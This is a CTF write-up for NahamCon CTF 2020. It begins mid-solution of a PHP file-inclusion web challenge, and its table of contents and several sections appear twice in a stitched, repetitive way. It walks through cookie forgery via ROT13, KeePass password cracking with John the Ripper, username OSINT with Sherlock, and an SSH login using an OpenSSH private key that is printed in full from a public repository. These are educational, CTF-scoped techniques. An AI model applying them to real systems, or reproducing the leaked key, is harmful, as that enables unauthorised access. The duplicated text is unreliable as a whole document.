we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
